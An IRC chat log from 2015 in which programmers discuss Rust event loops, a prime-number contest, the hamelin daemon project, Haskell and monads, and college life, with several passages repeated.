[2015-03-03T13:07:56-0500] <+awe> You have to use epoll.
[2015-03-03T13:08:30-0500] <+awe>  /kqueue/etc.
[2015-03-03T13:09:21-0500] <Fill> but even with epoll, you'd have to at least start a thread for each client upon connect, no? E.g. inspircd takes a while to resolve your hostname. It must be a thread that is doing it ... the whole ircd can't stop just for that, I'd say
[2015-03-03T13:09:27-0500] <Fill> so maybe they have a thread pool or something?
[2015-03-03T13:09:29-0500] <+awe> Nope.
[2015-03-03T13:09:48-0500] <+awe> Basically, you have an event loop and you do readiness testing.
[2015-03-03T13:10:27-0500] <Fill> so you never spawn any threads at all?
[2015-03-03T13:10:35-0500] <+awe> Well, you can use a multithreaded event loop with a thread pool.
[2015-03-03T13:10:37-0500] <+awe> That's the best way.
[2015-03-03T13:11:06-0500] <+awe> But mio is only a single-threaded event loop, and I'm not sure how much progress has been made thus far on that.
[2015-03-03T13:11:21-0500] <Fill> is it? I really don't know. You see, pretty much anything a user does in IRC involves changing global state on the server side
[2015-03-03T13:11:58-0500] <Fill> so maybe no threads is the best choice
[2015-03-03T13:12:08-0500] <+awe> Rust is designed to make concurrency nice. :)
[2015-03-03T13:12:27-0500] <+awe> The library itself will be built with mio for now.
[2015-03-03T13:12:35-0500] <Fill> ok
[2015-03-03T13:12:51-0500] <Fill> yeah I saw some examples of code using mio
[2015-03-03T13:13:07-0500] <+awe> There'll probably be a higher-level async IO abstraction at some point.
[2015-03-03T13:13:10-0500] <+awe> So, that might get updated.
[2015-03-03T13:13:30-0500] <+awe> But yeah, the server library for now is only going to support POSIX.
[2015-03-03T13:13:50-0500] <Fill> it's pretty good for me :P
[2015-03-03T13:14:38-0500] <+awe> I don't think I want the library to handle all the event loop stuff though. I think I want to just provide the right primitives.
[2015-03-03T13:17:22-0500] <+awe> That way we can build a single-threaded event loop version, and maybe work on our own multithreaded event loop based on mio or try to incorporate some other work that's being done in that area.
[2015-03-03T13:17:46-0500] <+awe> Or even ideally, you could choose to implement a single-thread-per-client server with it too.
[2015-03-03T13:18:10-0500] <+awe> But that might not be possible.
[2015-03-03T13:18:24-0500] <+awe> It might have to be pretty closely tied with mio in order to be readily applicable to the event loop model
[2015-03-03T13:18:51-0500] <Fill> I see
[2015-03-03T13:19:40-0500] <+awe> Hyper: considering all the production prime number stuff I've seen uses bitpacking, I think it's probably the right answer.
[2015-03-03T13:20:12-0500] <Hyper> awe: at production sizes of n you're looking at a LOT of memory, and they may be optimizing for that
[2015-03-03T13:20:24-0500] <+awe> But this'll run on a VPS anyway.
[2015-03-03T13:20:29-0500] <+awe> So, we're very memory-constrained.
[2015-03-03T13:20:39-0500] <+awe> And hitting swap is going to be worse for performance.
[2015-03-03T13:21:08-0500] <Hyper> k
[2015-03-03T13:21:41-0500] <+awe> I'd do some testing anyway though, If the segment is small enough, it might not matter.
[2015-03-03T13:25:07-0500] <+awe> Man, I really hope we get that Pdgn logo soon
[2015-03-03T13:25:15-0500] <+awe> I want to put it on GH and then make my membership visible.
[2015-03-03T13:25:52-0500] <+awe> Also, Hyper, hardmath123, JacobEdelman_: why do none of you people use two-factor authentication?
[2015-03-03T13:26:08-0500] <Hyper> awe: for what?
[2015-03-03T13:26:11-0500] <+awe> GitHub.
[2015-03-03T13:26:32-0500] <Hyper> eh
[2015-03-03T13:26:40-0500] <Hyper> I don't always have my phone on me
[2015-03-03T13:26:49-0500] <+awe> It's insecure.
[2015-03-03T13:26:58-0500] <Hyper> I'll deal with it.
[2015-03-03T13:28:01-0500] <+awe> Fill: https://github.com/aatxe/hamelin.rs/blob/master/src/bin/net.rs
[2015-03-03T13:28:07-0500] <+awe> Fill: here's an example of using mio
[2015-03-03T13:28:20-0500] <+awe> It's pretty boilerplate-y, but it works really effectively.
[2015-03-03T13:30:26-0500] <+awe> This hasn't yet been updated to the new std::io though.
[2015-03-03T13:33:39-0500] <Fill> awe: what is hamelin?
[2015-03-03T13:33:55-0500] <+awe> It's hardmath123's pet project that I've worked on more than he has. :p
[2015-03-03T13:34:22-0500] <+awe> Basically, it's a specification (and collection of daemons) that wrap line-buffered programs with IO handling.
[2015-03-03T13:34:55-0500] <+awe> So, that example translates a line-buffered program (for example, grep --line-buffered) into a TCP server.
[2015-03-03T13:35:34-0500] <+awe> I also have an HTTP and an IRC implementation.
[2015-03-03T13:35:39-0500] <+awe> And an SSL one.
[2015-03-03T13:37:14-0500] <+awe> Fill: as a really awful thing nobody should ever do, you can run the irc program with the command /bin/sh and suddenly have a shell bot.
[2015-03-03T13:38:01-0500] <Fill> lol
[2015-03-03T13:38:05-0500] <Fill> that's cool
[2015-03-03T13:38:30-0500] <+awe> or uhh...
[2015-03-03T13:39:07-0500] <+awe> Grumble. The last time I compiled the irc one was without my library and therefore I can't use it.
[2015-03-03T13:39:08-0500] <+awe> Nevermind.
[2015-03-03T13:39:13-0500] <+awe> I was going to bring in goats bot again.
[2015-03-03T13:39:29-0500] <+awe> irc config grep --line-buffered goat
[2015-03-03T13:39:39-0500] <+awe> Repeats everything that contains the word goat. :)
[2015-03-03T13:39:59-0500] <+awe> But yeah, it currently doesn't build.
[2015-03-03T13:40:44-0500] <Fill> haha
[2015-03-03T13:42:56-0500] <+awe> I mean, my IRC library doesn't even technically build right now.
[2015-03-03T13:43:05-0500] <+awe> It's dependent on a PR I submitted to OpenSSL that hasn't been merged yet.
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[2015-03-03T13:12:51-0500] <Fill> yeah I saw some examples of code using mio
[2015-03-03T13:13:08-0500] <+awe> There'll probably be a higher-level async IO abstraction at some point.
[2015-03-03T13:13:11-0500] <+awe> So, that might get updated.
[2015-03-03T13:13:31-0500] <+awe> But yeah, the server library for now is only going to support POSIX.
[2015-03-03T13:13:50-0500] <Fill> it's pretty good for me :P
[2015-03-03T13:14:39-0500] <+awe> I don't think I want the library to handle all the event loop stuff though. I think I want to just provide the right primitives.
[2015-03-03T13:17:22-0500] <+awe> That way we can build a single-threaded event loop version, and maybe work on our own multithreaded event loop based on mio or try to incorporate some other work that's being done in that area.
[2015-03-03T13:17:46-0500] <+awe> Or even ideally, you could choose to implement a single-thread-per-client server with it too.
[2015-03-03T13:18:10-0500] <+awe> But that might not be possible.
[2015-03-03T13:18:24-0500] <+awe> It might have to be pretty closely tied with mio in order to be readily applicable to the event loop model
[2015-03-03T13:18:51-0500] <Fill> I see
[2015-03-03T13:19:40-0500] <+awe> Hyper: considering all the production prime number stuff I've seen uses bitpacking, I think it's probably the right answer.
[2015-03-03T13:20:12-0500] <Hyper> awe: at production sizes of n you're looking at a LOT of memory, and they may be optimizing for that
[2015-03-03T13:20:24-0500] <+awe> But this'll run on a VPS anyway.
[2015-03-03T13:20:30-0500] <+awe> So, we're very memory-constrained.
[2015-03-03T13:20:39-0500] <+awe> And hitting swap is going to be worse for performance.
[2015-03-03T13:21:08-0500] <Hyper> k
[2015-03-03T13:21:41-0500] <+awe> I'd do some testing anyway though, If the segment is small enough, it might not matter.
[2015-03-03T13:25:07-0500] <+awe> Man, I really hope we get that Pdgn logo soon
[2015-03-03T13:25:15-0500] <+awe> I want to put it on GH and then make my membership visible.
[2015-03-03T13:25:52-0500] <+awe> Also, Hyper, hardmath123, JacobEdelman_: why do none of you people use two-factor authentication?
[2015-03-03T13:26:08-0500] <Hyper> awe: for what?
[2015-03-03T13:26:11-0500] <+awe> GitHub.
[2015-03-03T13:26:32-0500] <Hyper> eh
[2015-03-03T13:26:40-0500] <Hyper> I don't always have my phone on me
[2015-03-03T13:26:49-0500] <+awe> It's insecure.
[2015-03-03T13:26:58-0500] <Hyper> I'll deal with it.
[2015-03-03T13:28:01-0500] <+awe> Fill: https://github.com/aatxe/hamelin.rs/blob/master/src/bin/net.rs
[2015-03-03T13:28:07-0500] <+awe> Fill: here's an example of using mio
[2015-03-03T13:28:20-0500] <+awe> It's pretty boilerplate-y, but it works really effectively.
[2015-03-03T13:30:26-0500] <+awe> This hasn't yet been updated to the new std::io though.
[2015-03-03T13:33:39-0500] <Fill> awe: what is hamelin?
[2015-03-03T13:33:55-0500] <+awe> It's hardmath123's pet project that I've worked on more than he has. :p
[2015-03-03T13:34:22-0500] <+awe> Basically, it's a specification (and collection of daemons) that wrap line-buffered programs with IO handling.
[2015-03-03T13:34:55-0500] <+awe> So, that example translates a line-buffered program (for example, grep --line-buffered) into a TCP server.
[2015-03-03T13:35:34-0500] <+awe> I also have an HTTP and an IRC implementation.
[2015-03-03T13:35:39-0500] <+awe> And an SSL one.
[2015-03-03T13:37:15-0500] <+awe> Fill: as a really awful thing nobody should ever do, you can run the irc program with the command /bin/sh and suddenly have a shell bot.
[2015-03-03T13:38:02-0500] <Fill> lol
[2015-03-03T13:38:05-0500] <Fill> that's cool
[2015-03-03T13:38:30-0500] <+awe> or uhh...
[2015-03-03T13:39:07-0500] <+awe> Grumble. The last time I compiled the irc one was without my library and therefore I can't use it.
[2015-03-03T13:39:08-0500] <+awe> Nevermind.
[2015-03-03T13:39:14-0500] <+awe> I was going to bring in goats bot again.
[2015-03-03T13:39:29-0500] <+awe> irc config grep --line-buffered goat
[2015-03-03T13:39:39-0500] <+awe> Repeats everything that contains the word goat. :)
[2015-03-03T13:39:59-0500] <+awe> But yeah, it currently doesn't build.
[2015-03-03T13:40:44-0500] <Fill> haha
[2015-03-03T13:42:56-0500] <+awe> I mean, my IRC library doesn't even technically build right now.
[2015-03-03T13:43:05-0500] <+awe> It's dependent on a PR I submitted to OpenSSL that hasn't been merged yet.
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[2015-03-03T13:12:51-0500] <Fill> yeah I saw some examples of code using mio
[2015-03-03T13:13:08-0500] <+awe> There'll probably be a higher-level async IO abstraction at some point.
[2015-03-03T13:13:11-0500] <+awe> So, that might get updated.
[2015-03-03T13:13:31-0500] <+awe> But yeah, the server library for now is only going to support POSIX.
[2015-03-03T13:13:50-0500] <Fill> it's pretty good for me :P
[2015-03-03T13:14:39-0500] <+awe> I don't think I want the library to handle all the event loop stuff though. I think I want to just provide the right primitives.
[2015-03-03T13:17:22-0500] <+awe> That way we can build a single-threaded event loop version, and maybe work on our own multithreaded event loop based on mio or try to incorporate some other work that's being done in that area.
[2015-03-03T13:17:46-0500] <+awe> Or even ideally, you could choose to implement a single-thread-per-client server with it too.
[2015-03-03T13:18:10-0500] <+awe> But that might not be possible.
[2015-03-03T13:18:24-0500] <+awe> It might have to be pretty closely tied with mio in order to be readily applicable to the event loop model
[2015-03-03T13:18:51-0500] <Fill> I see
[2015-03-03T13:19:40-0500] <+awe> Hyper: considering all the production prime number stuff I've seen uses bitpacking, I think it's probably the right answer.
[2015-03-03T13:20:12-0500] <Hyper> awe: at production sizes of n you're looking at a LOT of memory, and they may be optimizing for that
[2015-03-03T13:20:24-0500] <+awe> But this'll run on a VPS anyway.
[2015-03-03T13:20:30-0500] <+awe> So, we're very memory-constrained.
[2015-03-03T13:20:39-0500] <+awe> And hitting swap is going to be worse for performance.
[2015-03-03T13:21:08-0500] <Hyper> k
[2015-03-03T13:21:41-0500] <+awe> I'd do some testing anyway though, If the segment is small enough, it might not matter.
[2015-03-03T13:25:07-0500] <+awe> Man, I really hope we get that Pdgn logo soon
[2015-03-03T13:25:15-0500] <+awe> I want to put it on GH and then make my membership visible.
[2015-03-03T13:25:52-0500] <+awe> Also, Hyper, hardmath123, JacobEdelman_: why do none of you people use two-factor authentication?
[2015-03-03T13:26:08-0500] <Hyper> awe: for what?
[2015-03-03T13:26:11-0500] <+awe> GitHub.
[2015-03-03T13:26:32-0500] <Hyper> eh
[2015-03-03T13:26:40-0500] <Hyper> I don't always have my phone on me
[2015-03-03T13:26:49-0500] <+awe> It's insecure.
[2015-03-03T13:26:58-0500] <Hyper> I'll deal with it.
[2015-03-03T13:28:01-0500] <+awe> Fill: https://github.com/aatxe/hamelin.rs/blob/master/src/bin/net.rs
[2015-03-03T13:28:07-0500] <+awe> Fill: here's an example of using mio
[2015-03-03T13:28:20-0500] <+awe> It's pretty boilerplate-y, but it works really effectively.
[2015-03-03T13:30:26-0500] <+awe> This hasn't yet been updated to the new std::io though.
[2015-03-03T13:33:39-0500] <Fill> awe: what is hamelin?
[2015-03-03T13:33:55-0500] <+awe> It's hardmath123's pet project that I've worked on more than he has. :p
[2015-03-03T13:34:22-0500] <+awe> Basically, it's a specification (and collection of daemons) that wrap line-buffered programs with IO handling.
[2015-03-03T13:34:55-0500] <+awe> So, that example translates a line-buffered program (for example, grep --line-buffered) into a TCP server.
[2015-03-03T13:35:34-0500] <+awe> I also have an HTTP and an IRC implementation.
[2015-03-03T13:35:39-0500] <+awe> And an SSL one.
[2015-03-03T13:37:15-0500] <+awe> Fill: as a really awful thing nobody should ever do, you can run the irc program with the command /bin/sh and suddenly have a shell bot.
[2015-03-03T13:38:02-0500] <Fill> lol
[2015-03-03T13:38:05-0500] <Fill> that's cool
[2015-03-03T13:38:30-0500] <+awe> or uhh...
[2015-03-03T13:39:07-0500] <+awe> Grumble. The last time I compiled the irc one was without my library and therefore I can't use it.
[2015-03-03T13:39:08-0500] <+awe> Nevermind.
[2015-03-03T13:39:14-0500] <+awe> I was going to bring in goats bot again.
[2015-03-03T13:39:29-0500] <+awe> irc config grep --line-buffered goat
[2015-03-03T13:39:39-0500] <+awe> Repeats everything that contains the word goat. :)
[2015-03-03T13:39:59-0500] <+awe> But yeah, it currently doesn't build.
[2015-03-03T13:40:44-0500] <Fill> haha
[2015-03-03T13:42:56-0500] <+awe> I mean, my IRC library doesn't even technically build right now.
[2015-03-03T13:43:05-0500] <+awe> It's dependent on a PR I submitted to OpenSSL that hasn't been merged yet.
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[2015-03-03T15:09:12-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-03T13:12:51-0500] <Fill> yeah I saw some examples of code using mio
[2015-03-03T13:13:08-0500] <+awe> There'll probably be a higher-level async IO abstraction at some point.
[2015-03-03T13:13:11-0500] <+awe> So, that might get updated.
[2015-03-03T13:13:31-0500] <+awe> But yeah, the server library for now is only going to support POSIX.
[2015-03-03T13:13:50-0500] <Fill> it's pretty good for me :P
[2015-03-03T13:14:39-0500] <+awe> I don't think I want the library to handle all the event loop stuff though. I think I want to just provide the right primitives.
[2015-03-03T13:17:22-0500] <+awe> That way we can build a single-threaded event loop version, and maybe work on our own multithreaded event loop based on mio or try to incorporate some other work that's being done in that area.
[2015-03-03T13:17:46-0500] <+awe> Or even ideally, you could choose to implement a single-thread-per-client server with it too.
[2015-03-03T13:18:10-0500] <+awe> But that might not be possible.
[2015-03-03T13:18:24-0500] <+awe> It might have to be pretty closely tied with mio in order to be readily applicable to the event loop model
[2015-03-03T13:18:51-0500] <Fill> I see
[2015-03-03T13:19:40-0500] <+awe> Hyper: considering all the production prime number stuff I've seen uses bitpacking, I think it's probably the right answer.
[2015-03-03T13:20:12-0500] <Hyper> awe: at production sizes of n you're looking at a LOT of memory, and they may be optimizing for that
[2015-03-03T13:20:24-0500] <+awe> But this'll run on a VPS anyway.
[2015-03-03T13:20:30-0500] <+awe> So, we're very memory-constrained.
[2015-03-03T13:20:39-0500] <+awe> And hitting swap is going to be worse for performance.
[2015-03-03T13:21:08-0500] <Hyper> k
[2015-03-03T13:21:41-0500] <+awe> I'd do some testing anyway though, If the segment is small enough, it might not matter.
[2015-03-03T13:25:07-0500] <+awe> Man, I really hope we get that Pdgn logo soon
[2015-03-03T13:25:15-0500] <+awe> I want to put it on GH and then make my membership visible.
[2015-03-03T13:25:52-0500] <+awe> Also, Hyper, hardmath123, JacobEdelman_: why do none of you people use two-factor authentication?
[2015-03-03T13:26:08-0500] <Hyper> awe: for what?
[2015-03-03T13:26:11-0500] <+awe> GitHub.
[2015-03-03T13:26:32-0500] <Hyper> eh
[2015-03-03T13:26:40-0500] <Hyper> I don't always have my phone on me
[2015-03-03T13:26:49-0500] <+awe> It's insecure.
[2015-03-03T13:26:58-0500] <Hyper> I'll deal with it.
[2015-03-03T13:28:01-0500] <+awe> Fill: https://github.com/aatxe/hamelin.rs/blob/master/src/bin/net.rs
[2015-03-03T13:28:07-0500] <+awe> Fill: here's an example of using mio
[2015-03-03T13:28:20-0500] <+awe> It's pretty boilerplate-y, but it works really effectively.
[2015-03-03T13:30:26-0500] <+awe> This hasn't yet been updated to the new std::io though.
[2015-03-03T13:33:39-0500] <Fill> awe: what is hamelin?
[2015-03-03T13:33:55-0500] <+awe> It's hardmath123's pet project that I've worked on more than he has. :p
[2015-03-03T13:34:22-0500] <+awe> Basically, it's a specification (and collection of daemons) that wrap line-buffered programs with IO handling.
[2015-03-03T13:34:55-0500] <+awe> So, that example translates a line-buffered program (for example, grep --line-buffered) into a TCP server.
[2015-03-03T13:35:34-0500] <+awe> I also have an HTTP and an IRC implementation.
[2015-03-03T13:35:39-0500] <+awe> And an SSL one.
[2015-03-03T13:37:15-0500] <+awe> Fill: as a really awful thing nobody should ever do, you can run the irc program with the command /bin/sh and suddenly have a shell bot.
[2015-03-03T13:38:02-0500] <Fill> lol
[2015-03-03T13:38:05-0500] <Fill> that's cool
[2015-03-03T13:38:30-0500] <+awe> or uhh...
[2015-03-03T13:39:07-0500] <+awe> Grumble. The last time I compiled the irc one was without my library and therefore I can't use it.
[2015-03-03T13:39:08-0500] <+awe> Nevermind.
[2015-03-03T13:39:14-0500] <+awe> I was going to bring in goats bot again.
[2015-03-03T13:39:29-0500] <+awe> irc config grep --line-buffered goat
[2015-03-03T13:39:39-0500] <+awe> Repeats everything that contains the word goat. :)
[2015-03-03T13:39:59-0500] <+awe> But yeah, it currently doesn't build.
[2015-03-03T13:40:44-0500] <Fill> haha
[2015-03-03T13:42:56-0500] <+awe> I mean, my IRC library doesn't even technically build right now.
[2015-03-03T13:43:05-0500] <+awe> It's dependent on a PR I submitted to OpenSSL that hasn't been merged yet.
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[2015-03-03T15:27:56-0500] <JacobEdelman_> awe: cause I'm lazy
[2015-03-03T15:29:17-0500] <grantwu> http://en.wikipedia.org/wiki/Expect is this anything like Hamelin
[2015-03-03T15:32:34-0500] <JacobEdelman_> yes
[2015-03-03T15:32:37-0500] <JacobEdelman_> except its only for tcl
[2015-03-03T15:32:40-0500] <JacobEdelman_> by the look of it
[2015-03-03T15:33:21-0500] <grantwu> scroll all the way down
[2015-03-03T15:35:22-0500] <JacobEdelman_> ah
[2015-03-03T15:35:22-0500] <JacobEdelman_> still
[2015-03-03T15:35:27-0500] <JacobEdelman_> hamelin is one simple script
[2015-03-03T15:35:35-0500] <JacobEdelman_> this just impelemnts api's simply by the look of it
[2015-03-03T16:28:45-0500] <grantwu> Out of curiosity
[2015-03-03T16:28:56-0500] <grantwu> Is there existing software for distributed testing
[2015-03-03T16:29:14-0500] <grantwu> That's open source
[2015-03-03T16:29:33-0500] <grantwu> I know Google's entire build/unit test system is basically distributed
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[2015-03-03T16:39:00-0500] <JacobEdelman_> ernest: HI
[2015-03-03T16:39:18-0500] <JacobEdelman_> ernest: I forget, did you read HPMOR?
[2015-03-03T16:39:20-0500] <ernest> Herro
[2015-03-03T16:39:38-0500] <ernest> Yeah
[2015-03-03T16:40:11-0500] <ernest> The author's work is a little nutty so I stopped
[2015-03-03T16:42:06-0500] <JacobEdelman_> true
[2015-03-03T16:42:11-0500] <JacobEdelman_> but its sooooo good
[2015-03-03T16:42:15-0500] <JacobEdelman_> he's finishing it
[2015-03-03T16:42:22-0500] <JacobEdelman_> its gonna be finished by pi day
[2015-03-03T16:42:27-0500] <JacobEdelman_> *on pie day
[2015-03-03T16:42:32-0500] <JacobEdelman_> in other news
[2015-03-03T16:42:37-0500] <JacobEdelman_> how is colledge?
[2015-03-03T16:42:49-0500] <ernest> Do you mean year 1 of Harry Potter?
[2015-03-03T16:43:01-0500] <JacobEdelman_> ernest: yes, he's ending it there
[2015-03-03T16:43:07-0500] <ernest> Wow
[2015-03-03T16:43:14-0500] <JacobEdelman_> it's still over 600,000 words
[2015-03-03T16:43:21-0500] <ernest> 'Rational' Harry gets things done fast huh
[2015-03-03T16:43:27-0500] <JacobEdelman_> yup
[2015-03-03T16:43:29-0500] <JacobEdelman_> so, how's college?
[2015-03-03T16:43:37-0500] <ernest> It's ok
[2015-03-03T16:43:49-0500] <ernest> I have four classes total
[2015-03-03T16:43:55-0500] <JacobEdelman_> and they are?
[2015-03-03T16:44:25-0500] <ernest> Algebra, intro to EECS, chem, science writing
[2015-03-03T16:45:00-0500] <JacobEdelman_> hmmm.. abstract algebra I assume?
[2015-03-03T16:45:22-0500] <ernest> Is JacobEdelman_ different from JacobEdelman?
[2015-03-03T16:45:28-0500] <ernest> Yeah
[2015-03-03T16:45:29-0500] <JacobEdelman_> different accounts
[2015-03-03T16:45:41-0500] <JacobEdelman_> for different irc clients
[2015-03-03T16:45:54-0500] <JacobEdelman_> one of them if for irccloud, and one of them is for an irc bouncer thing awe has
[2015-03-03T16:46:03-0500] <JacobEdelman_> well
[2015-03-03T16:46:07-0500] <JacobEdelman_> we were doing a contest
[2015-03-03T16:46:16-0500] <JacobEdelman_> to make the program that calculates the nth prime number
[2015-03-03T16:46:21-0500] <JacobEdelman_> as fast as possible
[2015-03-03T16:46:34-0500] <JacobEdelman_> https://github.com/Pdgn/programming-competitions/blob/master/01-nthprime/rules.md
[2015-03-03T16:46:56-0500] <JacobEdelman_> its a surprisingly non trivial math thing
[2015-03-03T16:47:28-0500] <JacobEdelman_> good solutions work by estimating a lower bound for it
[2015-03-03T16:47:35-0500] <JacobEdelman_> calculating pi(n) for the lower bound
[2015-03-03T16:47:50-0500] <JacobEdelman_> and than sieving until the remaining primes before the nth one cna be found
[2015-03-03T16:49:03-0500] <ernest> I feel these competitions boil down to bit optimizations and other shenanigans in C++
[2015-03-03T16:49:13-0500] <ernest> Rather than algorithmic improvements
[2015-03-03T16:49:39-0500] <ernest> For example the stackexchange thread on testing perfect squares
[2015-03-03T16:50:09-0500] <ernest> The top answer is bit manipulations and table lookups
[2015-03-03T16:50:38-0500] <grantwu> awe: Out of curiosity, what sort of things would you not recommend writing in Rust?
[2015-03-03T16:51:01-0500] <grantwu> I mean, it doesn't make too much sense for everything to be written in a systems language.  Would you write a webapp in Rust?
[2015-03-03T16:51:13-0500] <JacobEdelman_> ernest: yet somehow, I beat awe
[2015-03-03T16:51:22-0500] <JacobEdelman_> and Hyper
[2015-03-03T16:51:30-0500] <JacobEdelman_> cause neither of them knew about the good algo
[2015-03-03T16:51:31-0500] <JacobEdelman_> :P
[2015-03-03T16:51:42-0500] <ernest> Mmhm nice
[2015-03-03T16:51:45-0500] • Hyper: reiterates that he's not competing, he's running the competition
[2015-03-03T16:52:01-0500] <JacobEdelman_> shhhhhhhhhh, let me have my moment of glory
[2015-03-03T16:52:10-0500] <JacobEdelman_> ernest: I agree over all
[2015-03-03T16:52:16-0500] <ernest> Alok linked me the hsctf problems you guys have written up so far
[2015-03-03T16:52:22-0500] <ernest> It's like all algo
[2015-03-03T16:52:34-0500] <JacobEdelman_> that probaly cause alok has been busy with CTCTF 
[2015-03-03T16:52:39-0500] <ernest> Just turn it into an algo competition already
[2015-03-03T16:52:41-0500] <JacobEdelman_> and I have a few which I havn't put online
[2015-03-03T16:52:43-0500] <JacobEdelman_> no
[2015-03-03T16:52:47-0500] <ernest> What's CTCTF?
[2015-03-03T16:52:51-0500] <JacobEdelman_> ctctf.io
[2015-03-03T16:52:55-0500] <JacobEdelman_> we made hscs.io
[2015-03-03T16:53:07-0500] <JacobEdelman_> and through it ar ehelping run 5 ctfs I think
[2015-03-03T16:53:59-0500] <ernest> Oh looks good
[2015-03-03T16:54:09-0500] <JacobEdelman_> yup
[2015-03-03T16:54:20-0500] <JacobEdelman_> doing any interesting clubs?
[2015-03-03T16:54:38-0500] <ernest> Anime and board games
[2015-03-03T16:55:12-0500] <JacobEdelman_> and , do you enjoy watching the board games and winning the anime?
[2015-03-03T16:55:36-0500] <ernest> Too many good board game players
[2015-03-03T16:55:52-0500] <ernest> I got last place in ticket to ride in a 6 player game
[2015-03-03T16:55:52-0500] <JacobEdelman_> I started watching some anime, Code Geass ignited a fierce debate between Sammy Berger and I over how it was pronounced
[2015-03-03T16:56:03-0500] <+awe> JacobEdelman_: You didn't beat me again. I didn't even implement it at all.
[2015-03-03T16:56:04-0500] <ernest> I didn't even do that badly
[2015-03-03T16:56:12-0500] <ernest> Lol
[2015-03-03T16:56:15-0500] <JacobEdelman_> awe: shhh, such logic does not stop me
[2015-03-03T16:56:22-0500] <ernest> Jacob won in a competition with one person
[2015-03-03T16:56:25-0500] <+awe> grantwu: I would write a webapp in Haskell.
[2015-03-03T16:56:26-0500] <JacobEdelman_> yes
[2015-03-03T16:56:30-0500] <JacobEdelman_> I'm good at that
[2015-03-03T16:56:33-0500] <ernest> Gj
[2015-03-03T16:56:37-0500] <JacobEdelman_> thanks!
[2015-03-03T16:56:51-0500] <ernest> Webapp in Haskell? Really, why?
[2015-03-03T16:57:28-0500] <JacobEdelman_> ernest: awe wants to do everything in rust ( a typesafe, systems programming language) execpt stuff he wants to do in haskell, apparentely
[2015-03-03T16:57:38-0500] <+awe> It's strongly typed and thus not error-prone. It's expressive as all hell. It allows for some really powerful abstractions and a lot of flexibility without having to worry about memory management.
[2015-03-03T16:57:49-0500] <+awe> I want to do everything where I care about memory in Rust, and everything else in Haskell.
[2015-03-03T16:57:55-0500] <+awe> Well, memory and performance.
[2015-03-03T16:58:00-0500] <JacobEdelman_> never!
[2015-03-03T16:58:08-0500] <JacobEdelman_> correctness and speed are tools of the devil!
[2015-03-03T16:58:18-0500] <JacobEdelman_> embrace simplicity!
[2015-03-03T16:58:26-0500] <+awe> Correctness and simplicity are not mutually exclusive.
[2015-03-03T16:58:36-0500] <+awe> Unless you mean simplicity of the language.
[2015-03-03T16:58:43-0500] <JacobEdelman_> yes they are
[2015-03-03T16:58:47-0500] <+awe> In which case, we should just write naive C. :)
[2015-03-03T16:58:48-0500] <JacobEdelman_> all my programs are empty files
[2015-03-03T16:58:54-0500] <+awe> Lol.
[2015-03-03T16:58:59-0500] <ernest> Does a web app need powerful abstractions tho
[2015-03-03T16:59:01-0500] <+awe> It depends on how you define simplicity then.
[2015-03-03T16:59:02-0500] <+awe> ernest: Yes.
[2015-03-03T16:59:11-0500] <+awe> ernest: If you don't want to repeat yourself, and you want things to work generically, yeah.
[2015-03-03T16:59:20-0500] <JacobEdelman_> ... you can abstract easily
[2015-03-03T16:59:24-0500] <JacobEdelman_> in interperted languages
[2015-03-03T16:59:33-0500] <+awe> Not in the same way.
[2015-03-03T16:59:36-0500] <+awe> There's no HKT in Python.
[2015-03-03T16:59:36-0500] <JacobEdelman_> using meta stuff
[2015-03-03T16:59:52-0500] <+awe> That's abstract but not generic. :p
[2015-03-03T17:00:06-0500] <JacobEdelman_> does HKT give you abilities not related to ensuring correctness?
[2015-03-03T17:00:38-0500] <+awe> HKT isn't really about correctness.
[2015-03-03T17:00:46-0500] <+awe> HKT is a feature of a type system that allows you to be more generic.
[2015-03-03T17:01:24-0500] <+awe> Since it's a part of a type system, it plays a role in ensuring correctness, but the motivation behind it is to write generic functions.
[2015-03-03T17:01:54-0500] <+awe> ernest: For the record, my website is currently generated by a Haskell program.
[2015-03-03T17:11:21-0500] <JacobEdelman_> an I do something with HKT that I can't do in python?
[2015-03-03T17:11:29-0500] <JacobEdelman_> *can
[2015-03-03T17:11:32-0500] <JacobEdelman_> *easily
[2015-03-03T17:14:44-0500] <+awe> Yeah.
[2015-03-03T17:14:45-0500] <+awe> Monads.
[2015-03-03T17:15:19-0500] <+awe> Functors.
[2015-03-03T17:15:21-0500] <+awe> etc.
[2015-03-03T17:39:51-0500] <JacobEdelman_> which let you do what?
[2015-03-03T17:40:03-0500] <JacobEdelman_> it always seemed to me
[2015-03-03T17:40:09-0500] <JacobEdelman_> like half the point of monads
[2015-03-03T17:40:13-0500] <JacobEdelman_> was to let you do IO
[2015-03-03T18:51:36-0500] <grantwu> Does anyone have any experience with using bcrypt to do password hashing
[2015-03-03T19:00:22-0500] <+awe> JacobEdelman_: lol no.
[2015-03-03T19:00:28-0500] <+awe> JacobEdelman: The IO Monad is just clever.
[2015-03-03T19:02:58-0500] <+awe> JacobEdelman_: https://stackoverflow.com/questions/28139259/why-do-we-need-monads
[2015-03-03T19:23:42-0500] <+awe> JacobEdelman_: you could implement IO without monads.
[2015-03-03T19:23:51-0500] <+awe> JacobEdelman_: the reason you use monads is because of abstraction.
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[2015-03-03T19:51:17-0500] <JacobEdelman_> Woooooooo!
[2015-03-03T19:51:46-0500] <+awe> JacobEdelman_: ?
[2015-03-03T19:51:48-0500] <+alokpathy> ?
[2015-03-03T19:51:53-0500] <JacobEdelman_> its leftover woo
[2015-03-03T19:52:00-0500] <JacobEdelman_> from earlier
[2015-03-03T19:52:24-0500] <JacobEdelman_> :p
[2015-03-03T19:59:34-0500] <+awe> JacobEdelman_: what was it about though?
[2015-03-03T20:00:14-0500] <JacobEdelman_> from earlier? emails with prof. on paper
[2015-03-03T20:00:23-0500] <JacobEdelman_> paper I'm writing for indep. study
[2015-03-03T20:00:36-0500] <JacobEdelman_> that was mainly it
[2015-03-03T20:00:46-0500] <JacobEdelman_> also, HPMOR is awesome
[2015-03-03T20:00:52-0500] <JacobEdelman_> that probaly contributed to the woo
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[2015-03-03T20:06:13-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-03T16:58:26-0500] <+awe> Correctness and simplicity are not mutually exclusive.
[2015-03-03T16:58:36-0500] <+awe> Unless you mean simplicity of the language.
[2015-03-03T16:58:43-0500] <JacobEdelman_> yes they are
[2015-03-03T16:58:46-0500] <+awe> In which case, we should just write naive C. :)
[2015-03-03T16:58:48-0500] <JacobEdelman_> all my programs are empty files
[2015-03-03T16:58:54-0500] <+awe> Lol.
[2015-03-03T16:58:58-0500] <ernest> Does a web app need powerful abstractions tho
